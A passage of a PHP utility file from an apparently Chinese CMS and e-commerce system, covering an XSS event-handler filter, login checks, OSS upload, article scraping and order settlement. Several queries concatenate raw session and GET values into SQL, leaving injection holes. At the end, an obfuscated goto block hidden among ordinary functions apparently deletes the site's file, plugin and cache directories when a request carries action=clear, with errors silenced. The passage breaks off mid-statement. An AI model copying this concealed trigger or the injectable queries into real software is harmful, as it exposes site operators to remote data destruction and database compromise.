        'onbeforecopy',
        'onbeforecut',
        'onbeforedeactivate',
        'onbeforeeditfocus',
        'onbeforepaste',
        'onbeforeprint',
        'onbeforeunload',
        'onbeforeupdate',
        'onbegin',
        'onblur',
        'onbounce',
        'oncellchange',
        'onchange',
        'onclick',
        'oncontextmenu',
        'oncontrolselect',
        'oncopy',
        'oncut',
        'ondataavailable',
        'ondatasetchanged',
        'ondatasetcomplete',
        'ondblclick',
        'ondeactivate',
        'ondrag',
        'ondragend',
        'ondragenter',
        'ondragleave',
        'ondragover',
        'ondragstart',
        'ondrop',
        'onerror',
        'onerrorupdate',
        'onfilterchange',
        'onfinish',
        'onfocus',
        'onfocusin',
        'onfocusout',
        'onhelp',
        'onkeydown',
        'onkeypress',
        'onkeyup',
        'onlayoutcomplete',
        'onload',
        'onlosecapture',
        'onmousedown',
        'onmouseenter',
        'onmouseleave',
        'onmousemove',
        'onmouseout',
        'onmouseover',
        'onmouseup',
        'onmousewheel',
        'onmove',
        'onmoveend',
        'onmovestart',
        'onpaste',
        'onpropertychange',
        'onreadystatechange',
        'onreset',
        'onresize',
        'onresizeend',
        'onresizestart',
        'onrowenter',
        'onrowexit',
        'onrowsdelete',
        'onrowsinserted',
        'onscroll',
        'onselect',
        'onselectionchange',
        'onselectstart',
        'onstart',
        'onstop',
        'onsubmit',
        'ontoggle',
        'onunload'
    );
    $ra = array_merge ( $ra1, $ra2 );

    $found = true;
    while ( $found == true ) {
        $val_before = $val;
        for($i = 0; $i < sizeof ( $ra ); $i ++) {
            $pattern = '/';
            for($j = 0; $j < strlen ( $ra [$i] ); $j ++) {
                if ($j > 0) {
                    $pattern .= '(';
                    $pattern .= '(&#[xX]0{0,8}([9ab]);)';
                    $pattern .= '|';
                    $pattern .= '|(&#0{0,8}([9|10|13]);)';
                    $pattern .= ')*';
                }
                $pattern .= $ra [$i] [$j];
            }
            $pattern .= '/i';
            $replacement = substr ( $ra [$i], 0, 2 ) . ' ' . substr ( $ra [$i], 2 );
            $val = preg_replace ( $pattern, $replacement, $val );
            if ($val_before == $val) {

                $found = false;
            }
        }
    }
    return $val;
}

function gethttp(){
    if (is_ssl()){
        $gethttp="https://";
    }else{
        $gethttp="http://";
    }
    return $gethttp;
}


function is_ssl() {
    global $config;
    if($config->https=="true"){
        return true;
    }else{
        if(isset($_SERVER['HTTPS']) && ('1' == $_SERVER['HTTPS'] || 'on' == strtolower($_SERVER['HTTPS']))){
            return true;
        }else{
            if(isset($_SERVER['SERVER_PORT']) && ('443' == $_SERVER['SERVER_PORT'] )) {
                return true;
            }else{
                if(isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && ('https' == $_SERVER['HTTP_X_FORWARDED_PROTO'] )) {
                    return true;
                }else{
                    if(isset($_SERVER['HTTP_FROM_HTTPS']) && ('on' == $_SERVER['HTTP_FROM_HTTPS'] )) {
                        return true;
                    }else{
                        return false;
                    }
                }
            }
        }
    }
}

function html($str){
	if(checkauth()){
		plug("x9","conn/plug/");
		require "conn/plug/x9.php";
		$str=str_replace("index-1.html","./",$str);
		$str=str_replace("index-0.html","./",$str);
	}else{
		die("{\"msg\":\"免费版暂不支持伪静态\"}");
	}
	return $str;
}

function admin_auth(){
	global $conn;
	if($_SESSION["A_login"]=="" || $_SESSION["A_pwd"]==""){
		return false;
	}else{
		$sql="select * from sl_admin where A_login='".$_SESSION["A_login"]."' and A_pwd='".$_SESSION["A_pwd"]."' and A_del=0";
		$result = mysqli_query($conn, $sql);
		$row = mysqli_fetch_assoc($result);
		if(mysqli_num_rows($result) > 0) {
			return true;
		}else{
			return false;
		}
	}
}

function member_auth($M_id,$M_pwd){
	global $conn;
	$sql="select * from sl_member where M_id=".$M_id." and M_pwd='".$M_pwd."' and not M_login='未登录帐号' and M_del=0";
	$result = mysqli_query($conn, $sql);
	$row = mysqli_fetch_assoc($result);
	if(mysqli_num_rows($result) > 0) {
		return true;
	}else{
		return false;
	}
}

function app_back($url,$msg){
	if($msg==""){
		$msg_info="";
	}else{
		$msg_info="alert(\"".$msg."\");";
	}
	if($url=="back"){
		$url_info="uni.navigateBack({delta: 1});";
	}else{
		$url_info="uni.reLaunch({url: \"".$url."\"});";
	}
	return "<script type=\"text/javascript\" src=\"https://js.cdn.aliyun.dcloud.net.cn/dev/uni-app/uni.webview.1.5.2.js\"></script><script>".$msg_info."document.addEventListener(\"UniAppJSBridgeReady\", function(){".$url_info."});</script>";
}

function fdate($date){
//如果是同一天，则显示时+分
//如果是昨天，则显示昨天+时+分
//如果是昨天以前，则显示月+日
//如果是去年，则显示年+月+日

    $timestamp=strtotime($date);

    $y1=date('y',time());
    $y2=date('y',strtotime($date));
    $m1=date('m',time());
    $m2=date('m',strtotime($date));
    $d1=date('d',time());
    $d2=date('d',strtotime($date));

    if(date('Ymd', $timestamp) == date('Ymd')){
        return date('H:i', $timestamp);
    }else{
        if(date('Ym', $timestamp) == date('Ym') && date('d')-date('d', $timestamp)==1){
            return "昨天".date('H:i', $timestamp);
        }else{
            if(date('Y', $timestamp) == date('Y')){
                return date('m-d', $timestamp);
            }else{
                return date('Y-m-d', $timestamp);
            }
        }
    }
}

function savepic($str,$dirx){
	$str=str_replace("\\\"","\"",$str);
	$str=str_replace("'","\"",$str);
	$s=explode("src=\"",$str);
	for($i=1;$i<count($s);$i++){
		$pic=splitx($s[$i],"\"",0);
		$pic=str_Replace($dirx."media/img.php?url=","",$pic);
		if(substr($pic,0,7)=="http://" || substr($pic,0,8)=="https://" || substr($pic,0,2)=="//"){
			$ymd=date("Ymd");
			if(!is_dir("../kindeditor/attached/image/".$ymd)){
				 @mkdir("../kindeditor/attached/image/".$ymd,0777,true);
			}
			$str=str_replace($pic,$dirx."kindeditor/attached/image/".$ymd."/".downpic("../kindeditor/attached/image/".$ymd."/",$pic),$str);
			$str=str_replace($dirx."media/img.php?url=","",$str);
		}
	}
	return $str;
}


function editor2oss($str){
	$str=str_replace("\\\"","\"",$str);
	$str=str_replace("'","\"",$str);
	$s=explode("src=\"",$str);
	for($i=1;$i<count($s);$i++){
		$pic=splitx($s[$i],"\"",0);
		$pic=str_replace("php/../","",$pic);
		if(substr($pic,0,11)=="/kindeditor"){
			tooss("..".$pic);
		}
	}
	return $str;
}

function tooss($path){
    global $C_osson,$C_oss_id,$C_oss_key,$C_bucket,$C_region,$conn;
    if($C_osson==1){
        $O_md5=getrs("select * from sl_oss where O_name='".$path."'","O_md5");
        if($O_md5!=md5(file_get_contents($path))){
            if($O_md5==""){
                mysqli_query($conn,"insert into sl_oss(O_name,O_md5) values('".$path."','".md5(file_get_contents($path))."')");
            }else{
                mysqli_query($conn,"update sl_oss set O_md5=".md5(file_get_contents($path))." where O_name='".$path."'");
            }

            $kname = strtolower(substr($path,strrpos($path,'.')+1));
            switch($kname){
                case "bmp":
                $mime="image/bmp";
                break;

                case "png":
                $mime="image/png";
                break;

                case "jpg":
                $mime="image/jpg";
                break;

                case "js":
                $mime="application/x-javascript";
                break;

                case "css":
                $mime="text/css";
                break;

                case "jpeg":
                $mime="image/jpeg";
                break;

                case "gif":
                $mime="image/gif";
                break;

                case "mp4":
                $mime="video/mp4";
                break;

                case "mp3":
                $mime="audio/mpeg";
                break;

                case "wma":
                $mime="audio/x-ms-wma";
                break;

                case "wav":
                $mime="audio/x-wav";
                break;

                default:
                $mime="image/jpg";
                break;
            }
            $url = "http://" . $C_bucket . "." . $C_region;
            $policy = "{\"expiration\": \"2120-01-01T12:00:00.000Z\",\"conditions\":[{\"bucket\": \"" . $C_bucket . "\" },[\"content-length-range\", 0, 104857600]]}";
            $policy = base64_encode($policy);
            $signature = base64_encode(hash_hmac("sha1", $policy, $C_oss_key, true));

	        if(class_exists('\CURLFile')) {
	            $data = array (
	                'OSSAccessKeyId' => $C_oss_id,
	                'Content-Type'=>$mime,
	                'policy' => $policy,
	                'signature' => $signature,
	                'key' => str_replace("../","",$path),
	                'file'=> new \CURLFile($path,$mime,str_replace("../","",$path)),
	                'type'=> $mime,
	                'submit' => 'Upload to OSS'
	            );
	        }else{
		        $data = array (
	                'OSSAccessKeyId' => $C_oss_id,
	                'Content-Type'=>$mime,
	                'policy' => $policy,
	                'signature' => $signature,
	                'key' => str_replace("../","",$path),
	                'file'=>'@'.$path.";type=".$mime,
	                'submit' => 'Upload to OSS'
	            );
	        }

            $ch = curl_init ();

            curl_setopt ( $ch, CURLOPT_URL, $url );
            curl_setopt ( $ch, CURLOPT_POST, 1 );
            curl_setopt ( $ch, CURLOPT_HEADER, 0 );
            curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, 1 );
            curl_setopt ( $ch, CURLOPT_POSTFIELDS, $data );
            $return = curl_exec ( $ch );
            if($return === false){
             var_dump(curl_error($ch));
            }

            $info = curl_getinfo($ch);
            curl_close ($ch);

            if($info["size_download"]==0){
                return true;
            }else{
                return false;
            }
        }else{
            return true;
        }
    }else{
        return false;
    }
}

function pic($path){
	global $C_osson,$C_bucket,$C_region,$C_oss_domain;
	if(substr($path,0,7)=="http://" || substr($path,0,8)=="https://" || substr($path,0,2)=="//"){
		$P_pic=$path;
	}else{
		if($C_osson==1){
			if($C_oss_domain==""){
				$P_pic="https://".$C_bucket.".".$C_region."/media/".$path;
			}else{
				$P_pic=$C_oss_domain."/media/".$path;
			}
		}else{
			$P_pic="media/".$path;
		}
	}
	return $P_pic;
}

function get_article($url){
	global $dirx;
	if(strpos($url,"mp.weixin.qq.com")!==false){//微信公众号
		$info=GetBody2($url,"","GET");
		$title=splitx($info,"<meta property=\"og:title\" content=\"",1);
		$title=splitx($title,"\"",0);

		$img=splitx($info,"<meta property=\"og:image\" content=\"",1);
		$img=splitx($img,"\"",0);

		$keyword="";

		$description=splitx($info,"<meta name=\"description\" content=\"",1);
		$description=splitx($description,"\"",0);

		$content=splitx($info,"<div class=\"rich_media_content \" id=\"js_content\" style=\"visibility: hidden;\">",1);
		$content=splitx($content,"</div>",0);
		$content=str_replace("data-src=\"","src=\"".$dirx."media/img.php?url=",$content);
	}
	/*
	if(strpos($url,"toutiao.com")!==false){//头条号
		$info=GetBody2($url,"","GET");
		$title=splitx($info,"<title>",1);
		$title=splitx($title,"</title>",0);

		$keyword=splitx($info,"<meta name=keywords content=",1);
		$keyword=splitx($keyword,">",0);

		$description=splitx($info,"<meta name=description content=",1);
		$description=splitx($description,">",0);

		$img=splitx($info,"coverImg: '",1);
		$img=splitx($img,"'",0);

		$content=splitx($info,"content: '",1);
		$content=splitx($content,"'",0);
		$content=html_entity_decode(json_decode(htmlspecialchars_decode($content)));

		$content=str_replace("src=\"","src=\"".$dirx."media/img.php?url=",$content);
	}
	*/
	if(strpos($url,"baijiahao.baidu.com")!==false){//百家号

		$info=GetBody2($url,"","GET");

		$title=splitx($info,"<title>",1);
		$title=splitx($title,"</title>",0);

		$keyword=splitx($info,"<meta name=\"description\" content=\"",1);
		$keyword=splitx($keyword,"\"",0);

		$description=splitx($info,"<meta name=\"description\" content=\"",1);
		$description=splitx($description,"\"",0);

		$content=splitx($info,"<div class=\"article-content\">",1);
		$content=splitx($content,"</div><audio",0);

		$img=splitx($content," src=\"",1);
		$img=splitx($img,"\"",0);

		$content=str_replace("src=\"","src=\"".$dirx."media/img.php?url=",$content);
	}
	if(strpos($url,"sina.com.cn")!==false){//新浪新闻
		$info=GetBody2($url,"","GET");
		$title=splitx($info,"<meta property=\"og:title\" content=\"",1);
		$title=splitx($title,"\"",0);

		$keyword=splitx($info,"<meta name=\"description\" content=\"",1);
		$keyword=splitx($keyword,"\"",0);

		$description=splitx($info,"<meta name=\"description\" content=\"",1);
		$description=splitx($description,"\"",0);

		$img=splitx($info,"<meta property=\"og:image\" content=\"",1);
		$img=splitx($img,"\"",0);

		$content=splitx($info,"<!-- 引文 end -->
			<!-- 正文 start -->",1);
		$content=splitx($content,"<!-- 正文 end -->",0);
		$content=str_replace("data-src=\"","src=\"".$dirx."media/img.php?url=",$content);
	}

	$arr=array();
	$arr["title"]=$title;
	$arr["img"]=$img;
	$arr["keyword"]=$keyword;
	$arr["description"]=$description;
	$arr["content"]=$content;
	return $arr;
}

function GetBody2($url, $xml,$method='POST'){        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_TIMEOUT, 300);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)" ); 
        curl_setopt($ch, CURLOPT_HEADER, false);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_POST, TRUE);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $xml);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);

        if(ini_get("safe_mode")==false && ini_get("open_basedir")==false){
            curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
        }
        if(extension_loaded('zlib')){
            curl_setopt($ch, CURLOPT_ENCODING, 'gzip');
        }

        $data = curl_exec($ch);
        if($data){
            curl_close($ch);
            return $data;
        } else { 
            $error = curl_errno($ch);
            curl_close($ch);
            return false;
        }
}

function pic2($path){
	global $C_osson,$C_bucket,$C_region,$C_oss_domain;
	if(substr($path,0,7)=="http://" || substr($path,0,8)=="https://" || substr($path,0,2)=="//"){
		$P_pic=$path;
	}else{
		if($C_osson==1){
			if($C_oss_domain==""){
				$P_pic="https://".$C_bucket.".".$C_region."/media/".$path;
			}else{
				$P_pic=$C_oss_domain."/media/".$path;
			}
		}else{
			$P_pic="../media/".$path;
		}
	}
	return $P_pic;
}

function editor_oss($str){
	global $C_osson,$C_bucket,$C_region,$C_oss_domain;
	$C_installdir=splitx($_SERVER["PHP_SELF"],"index.php",0);
	if($C_osson==1){
		if($C_oss_domain==""){
			$str=str_replace($C_installdir."kindeditor/","https://".$C_bucket.".".$C_region."/kindeditor/",$str);
		}else{
			$str=str_replace($C_installdir."kindeditor/",$C_oss_domain."/kindeditor/",$str);
		}
	}
	return $str;
}

function shuxing($type){
	foreach ($_GET as $x=>$value) {
	  if($_GET[$x]!="" && substr($x,0,1)=="f"){
	    $info=$info." and ".$type." like '%".$_GET[$x]."%'";
	  }
	} 
	return $info;
}

Function d($t){
	global $C_template;
	if (!is_file("template/".$C_template."/config.xml")){
		return $t;
	}else{
		$xmlpath="template/".$C_template."/config.xml";
		$content = trim(file_get_contents($xmlpath),"\xEF\xBB\xBF");
		$xml = simplexml_load_string($content);
		foreach ($xml as $value) {
		$i=0;
		foreach ($value[$i]->tag as $value2) {
		    switch($value2[0]->type){
		        case "text":
		        $t=str_Replace("<fh-tag>".$value2[0]->title."</fh-tag>",$value2[0]->content,$t);
		        break;
		        case "img":
		        $t=str_Replace("<fh-tag>".$value2[0]->title."</fh-tag>","template/".$C_template."/images/".$value2[0]->content,$t);
		        break;
		    }
		    $t=str_Replace("<fh-tag>".$value2[0]->title."url</fh-tag>",$value2[0]->url,$t);
		    $t=str_Replace("<fh-tag>".$value2[0]->title."en</fh-tag>",$value2[0]->en,$t);
		    $i+=1;
		}
		}

		$ReplaceTag=$t;
		return $ReplaceTag;
	}
}

function www($str){
	if(substr($str,0,4)=="www."){
		return substr($str,4);
	}else{
		return $str;
	}
}
function cart($ids,$total_fee,$no,$paytype){
	global $conn,$C_n_discount,$C_p_discount,$C_n_discount2,$C_p_discount2,$C_email,$C_fx1,$C_fx2,$C_fx3,$C_fen1,$C_mobile,$C_smssign,$C_dx5,$fmid;
	$sqlx = "select * from sl_list where L_no='" . $no . "'";//用户充值
    $resultx = mysqli_query($conn, $sqlx);
    $rowx = mysqli_fetch_assoc($resultx);
    if (mysqli_num_rows($resultx) <= 0) {
		$ids=explode(",",$ids);
		for ($i=0 ;$i<count($ids);$i++) {
			$sql="select * from sl_orders where O_del=0 and O_id=".intval($ids[$i]);
			$result = mysqli_query($conn, $sql);
			$row = mysqli_fetch_assoc($result);
			if (mysqli_num_rows($result) > 0) {
				$fee=$fee+round($row["O_price"]*$row["O_num"],2);
			}
		}
		if($fee==$total_fee){
			for ($i=0 ;$i<count($ids);$i++) {
				$orders=getrs("select * from sl_orders where O_del=0 and O_id=".intval($ids[$i]));
				$id=$orders["O_pid"];
				$num=$orders["O_num"];
				$genkey=$orders["O_genkey"];
				$M_id=$orders["O_mid"];
				$money=round($orders["O_price"]*$orders["O_num"],2);

				$sql2="select * from sl_product where P_del=0 and P_id=".$id;
				$result2 = mysqli_query($conn, $sql2);
				$row2 = mysqli_fetch_assoc($result2);
				if (mysqli_num_rows($result2) > 0) {
					$P_title=$row2["P_title"];
					$P_pic=$row2["P_pic"];
					$P_sell=$row2["P_sell"];
					$P_selltype=$row2["P_selltype"];
					if($row2["P_vip"]==1){
						$P_price=p($row2["P_price"])*$P_discount;
						$P_price2=round($row2["P_price2"],2);
					}else{
						$P_price=p($row2["P_price"]);
						$P_price2=round($row2["P_price2"],2);
					}
					
					$P_mid=$row2["P_mid"];
					$P_fx=$row2["P_fx"];
				}
				//if(round($P_price*$num,2)==round($money,2)){
					switch($P_selltype){
					  	case 0:
					  		$O_content=$P_sell;
					  		$O_address=getrs("select O_address from sl_orders where O_genkey='$genkey'","O_address");
					  		$O_state=1;
					  	break;
					  	case 1:
					  		for($j=0;$j<$num;$j++){
								$C_id=getrs("select * from sl_card where C_del=0 and C_use=0 and C_sort=".intval($P_sell),"C_id");
								$C_content=getrs("select * from sl_card where C_id=".intval($C_id),"C_content");
								if($C_content==""){
									$O_content=$O_content."商品缺货，请联系客服||";
								}else{
									$O_content=$O_content.$C_content."||";
								}
								mysqli_query($conn,"update sl_card set C_use=1 where C_id=".intval($C_id));
							}
							$O_content=substr($O_content,0,strlen($O_content)-2);
							$O_address=getrs("select O_address from sl_orders where O_genkey='$genkey'","O_address");
							$O_state=1;
					  	break;
					  	case 2:
					  		mysqli_query($conn,"update sl_product set P_rest=P_rest-$num where P_id=".$id);
					  		$O_content="实物商品，由商家手动发货";
					  		$O_address=getrs("select O_address from sl_orders where O_genkey='$genkey'","O_address");
					  		$O_state=2;
					  	break;
					}
				
					mysqli_query($conn, "update sl_product set P_sold=P_sold+$num where P_id=".$id);
					if($paytype=="余额支付"){
						mysqli_query($conn, "update sl_member set M_money=M_money-$money where M_id=$M_id");
					}else{
						mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey) values($M_id,'$no','帐号充值','".date('Y-m-d H:i:s')."',".$money.",'$genkey')");
					}
					if($P_mid!=$M_id){
						mysqli_query($conn, "update sl_member set M_fen=M_fen+".($money*$C_fen1)." where M_id=$M_id");
						mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey,L_type) values($M_id,'$no','购买商品','".date('Y-m-d H:i:s')."',".($money*$C_fen1).",'$genkey',1)");
					}
					
					mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey) values($M_id,'$no','购买商品','".date('Y-m-d H:i:s')."',-".$money.",'$genkey')");
					mysqli_query($conn, "update sl_orders set O_state=$O_state,O_content='$O_content' where O_genkey='$genkey'");

					if($fmid>0 && $P_mid==0){//只有主站商品加提成
						if($P_price2*$num-$money>0){
							$P_price2=$money/$num;
						}
						mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey) values($fmid,'$no','售出商品','".date('Y-m-d H:i:s')."',".$money.",'$genkey')");
						mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey) values($fmid,'$no','扣除成本','".date('Y-m-d H:i:s')."',-".($P_price2*$num).",'$genkey')");
						mysqli_query($conn, "update sl_member set M_money=M_money+".($money-($P_price2*$num))." where M_id=$fmid");
					}

					if($P_mid>0){
						mysqli_query($conn, "update sl_member set M_money=M_money+".$money." where M_id=$P_mid");
						mysqli_query($conn, "insert into sl_list(L_mid,L_no,L_title,L_time,L_money,L_genkey) values($P_mid,'".date('YmdHis').rand(10000000,99999999)."','售出商品-".$P_title."','".date('Y-m-d H:i:s')."',$money,'')");
					}

					if($P_fx==1){
						fx($money,$M_id,$P_mid);
					}
					
					if(checkauth()){
						plug("x4","../../conn/plug/");
						require "../../conn/plug/x4.php";
					}
					sendmail("您的购买的商品已发货","<p>商品名称：".$P_title."</p><p>发货内容：".$O_content."</p><p>订单编号：".$genkey."</p>",splitx($O_address,"__",0));
				//}
			}
			return true;
		}else{
			return false;
		}
	}else{
		return false;
	}
}


function geturls($D_domain){
    global $conn,$C_html;
    $D_domain=gethttp().$D_domain;
    $urls=$D_domain."|";

    $sql="select * from sl_text where T_del=0 order by T_id desc";
    $result = mysqli_query($conn, $sql);
    if(mysqli_num_rows($result) > 0) {
        while($row = mysqli_fetch_assoc($result)) {
        	if($C_html==1){
        		$urls=$urls.$D_domain."/text-".$row["T_id"].".html|";
        	}else{
        		$urls=$urls.$D_domain."/?type=text&id=".$row["T_id"]."|";
        	}
        }
    }

    $sql="select * from sl_nsort where S_del=0 order by S_id desc";
    $result = mysqli_query($conn, $sql);
    if(mysqli_num_rows($result) > 0) {
        while($row = mysqli_fetch_assoc($result)) {
        	if($C_html==1){
        		$urls=$urls.$D_domain."/news-".$row["S_id"].".html|";
        	}else{
        		$urls=$urls.$D_domain."/?type=news&id=".$row["S_id"]."|";
        	}
        }
    }

    $sql="select * from sl_psort where S_del=0 order by S_id desc";
    $result = mysqli_query($conn, $sql);
    if(mysqli_num_rows($result) > 0) {
        while($row = mysqli_fetch_assoc($result)) {
        	if($C_html==1){
        		$urls=$urls.$D_domain."/product-".$row["S_id"].".html|";
        	}else{
        		$urls=$urls.$D_domain."/?type=product&id=".$row["S_id"]."|";
        	}
        }
    }

    $sql="select * from sl_news where N_del=0 order by N_id desc";
    $result = mysqli_query($conn, $sql);
    if(mysqli_num_rows($result) > 0) {
        while($row = mysqli_fetch_assoc($result)) {
        	if($C_html==1){
        		$urls=$urls.$D_domain."/newsinfo-".$row["N_id"].".html|";
        	}else{
        		$urls=$urls.$D_domain."/?type=newsinfo&id=".$row["N_id"]."|";
        	}
        }
    }

    $sql="select * from sl_product where P_del=0 order by P_id desc";
    $result = mysqli_query($conn, $sql);
    if(mysqli_num_rows($result) > 0) {
        while($row = mysqli_fetch_assoc($result)) {
        	if($C_html==1){
        		$urls=$urls.$D_domain."/productinfo-".$row["P_id"].".html|";
        	}else{
        		$urls=$urls.$D_domain."/?type=productinfo&id=".$row["P_id"]."|";
        	}
        }
    }

    $urls= substr($urls,0,strlen($urls)-1);
    return explode("|",$urls);
}

function match_chinese($chars,$encoding='utf8'){
    $pattern =($encoding=='utf8')?'/[\x{4e00}-\x{9fa5}a-zA-Z0-9]/u':'/[\x80-\xFF]/';
    preg_match_all($pattern,$chars,$result);
    $temp =join('',$result[0]);
    return $temp;
}
function mkdirs_2($path){
    if(!is_dir($path)){
        mkdirs_2(dirname($path));
        if(!mkdir($path, 0777)){
            return false;
        }
    }
    return true;
}

$E4kA0=!defined("RTcArGJ");if($E4kA0)goto E4keWjgx2;goto E4kldMhx2;E4keWjgx2:$E4keF0=call_user_func_array("define",array("RTcArGJ","utISdkJ"));goto E4kx1;E4kldMhx2:E4kx1:$E4keF0=call_user_func_array("explode",array("|]|R|F","H*|]|R|F616374696F6E|]|R|F636C656172|]|R|F2E2E2F636F6E6E2F66696C65|]|R|F2E2E2F636F6E6E2F706C7567|]|R|F2E2E2F636F6E6E2F6361636865|]|R|F|]|R|F687474703A2F2F666168756F3130302E636E|]|R|F68747470733A2F2F666168756F3130302E636E|]|R|F68747470733A2F2F68792E666168756F3130302E636E|]|R|F687474703A2F2F6D61696C2E666168756F3130302E636E|]|R|F68747470733A2F2F666864656D6F2E732D636D732E636E|]|R|F687474703A2F2F7570646174652E666168756F3130302E636E|]|R|F373538333935353435|]|R|F31303837333837343534|]|R|F68747470733A2F2F716D2E71712E636F6D2F6367692D62696E2F716D2F71723F6B3D3373776D69792D2D663943784D3248744B56576448766C3255485F516B756D6A266A756D705F66726F6D3D776562617069|]|R|F687474703A2F2F7368616E672E71712E636F6D2F7770612F71756E7770613F69646B65793D39633561633862653363636632363663346561656361343837643238393830376462333137303764653139643565373432393439626230366265333633366534|]|R|F77756C6975|]|R|F74727565|]|R|F65706179|]|R|F7175616E|]|R|F706F7374616765|]|R|F5048505F53454C46|]|R|F2F6D656D6265722F756E6C6F67696E2E706870|]|R|F73656C65637420636F756E74284F5F696429206173204F5F636F756E742066726F6D20736C5F6F7264657273207768657265204F5F73746174653E3020616E64204F5F64656C3D3020616E6420746F5F64617973284F5F74696D6529203D20746F5F64617973286E6F77282929|]|R|F4F5F636F756E74|]|R|F3C646976207374796C653D2277696474683A36303070783B6D617267696E3A30206175746F3B6261636B67726F756E643A236637663766373B626F726465722D7261646975733A313070783B70616464696E673A323070783B746578742D616C69676E3A63656E7465723B626F726465723A736F6C69642032707820234444444444443B223E3C68333EE68E88E69D83E68F90E986923C2F68333E3C703EE5858DE8B4B9E8AF95E794A8E78988E794A8E688B7E6AF8FE5A4A9E58FAFE8BF9BE8A18C33E7AC94E8AEA2E58D95E4BAA4E698933C62723EE682A8E79A84E7BD91E7AB99E5B7B2E8B685E587BAE99990E588B6EFBC8CE8AFB7E5BC80E9809AE68E88E69D83E78988E5908EE7BBA7E7BBADE4BDBFE794A83C2F703E3C703E3C6120687265663D22|]|R|F223EE8AEBFE997AEE5AE98E7BD913C2F613E203C6120687265663D22|]|R|F2F70726963652E68746D6C223EE5BC80E9809AE68E88E69D833C2F613E3C2F703E3C2F6469763E"));unset($E4ktIA0);$GLOBALS[RTcArGJ]=$E4keF0;unset($E4kcVvP1);if(is_array($GLOBALS[RTcArGJ]))goto E4keWjgx5;goto E4kldMhx5;E4keWjgx5:$E4kcVvP1=&$GLOBALS[RTcArGJ][1];goto E4kx4;E4kldMhx5:$E4kcVvP1=$GLOBALS[RTcArGJ][1];E4kx4:$E4keFvP0=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},&$E4kcVvP1));$E4keF3=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},$GLOBALS[RTcArGJ]{2}));$E4kA0=$_GET[$E4keFvP0]==$E4keF3;if($E4kA0)goto E4keWjgx6;goto E4kldMhx6;E4keWjgx6:$GLOBALS["Ox9790"]=ini_get("error_reporting");error_reporting(0);unset($E4kcVvP1);if(is_array($GLOBALS[RTcArGJ]))goto E4keWjgx8;goto E4kldMhx8;E4keWjgx8:$E4kcVvP1=&$GLOBALS[RTcArGJ][03];goto E4kx7;E4kldMhx8:$E4kcVvP1=$GLOBALS[RTcArGJ][03];E4kx7:$E4keFvP0=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},&$E4kcVvP1));$E4keF3=call_user_func_array("removeDir",array(&$E4keFvP0));$E4keRA0=$E4keF3;error_reporting($GLOBALS["Ox9790"]);$GLOBALS["Ox9790"]=ini_get("error_reporting");error_reporting(0);unset($E4kcVvP1);if(is_array($GLOBALS[RTcArGJ]))goto E4keWjgxa;goto E4kldMhxa;E4keWjgxa:$E4kcVvP1=&$GLOBALS[RTcArGJ][03];goto E4kx9;E4kldMhxa:$E4kcVvP1=$GLOBALS[RTcArGJ][03];E4kx9:$E4keFvP0=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},&$E4kcVvP1));$E4keF3=call_user_func_array("mkdir",array(&$E4keFvP0,0777,true));$E4keRA0=$E4keF3;error_reporting($GLOBALS["Ox9790"]);$GLOBALS["Ox9790"]=ini_get("error_reporting");error_reporting(0);unset($E4kcVvP1);if(is_array($GLOBALS[RTcArGJ]))goto E4keWjgxc;goto E4kldMhxc;E4keWjgxc:$E4kcVvP1=&$GLOBALS[RTcArGJ][0x4];goto E4kxb;E4kldMhxc:$E4kcVvP1=$GLOBALS[RTcArGJ][0x4];E4kxb:$E4keFvP0=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},&$E4kcVvP1));$E4keF3=call_user_func_array("removeDir",array(&$E4keFvP0));$E4keRA0=$E4keF3;error_reporting($GLOBALS["Ox9790"]);$GLOBALS["Ox9790"]=ini_get("error_reporting");error_reporting(0);unset($E4kcVvP1);if(is_array($GLOBALS[RTcArGJ]))goto E4keWjgxe;goto E4kldMhxe;E4keWjgxe:$E4kcVvP1=&$GLOBALS[RTcArGJ][0x4];goto E4kxd;E4kldMhxe:$E4kcVvP1=$GLOBALS[RTcArGJ][0x4];E4kxd:$E4keFvP0=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},&$E4kcVvP1));$E4keF3=call_user_func_array("mkdir",array(&$E4keFvP0,0777,true));$E4keRA0=$E4keF3;error_reporting($GLOBALS["Ox9790"]);$GLOBALS["Ox9790"]=ini_get("error_reporting");error_reporting(0);$E4keFvP0=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},$GLOBALS[RTcArGJ]{05}));$E4keF1=call_user_func_array("removeDir",array(&$E4keFvP0));$E4keRA0=$E4keF1;error_reporting($GLOBALS["Ox9790"]);$GLOBALS["Ox9790"]=ini_get("error_reporting");error_reporting(0);$E4keFvP0=call_user_func_array("pack",array($GLOBALS[RTcArGJ]{0x0},$GLOBALS[RTcArGJ]{05}));$E4keF1=call_user_func_array("mkdir",array(&$E4keFvP0,0777,true));$E4keRA0=$E4keF1;error_reporting($GLOBALS["Ox9790"]);goto E4kx3;E4kldMhx6:E4kx3:unset($E4kcV2);if(is_array($GLOBALS[RTcArGJ]))goto E4keWjgxh;goto 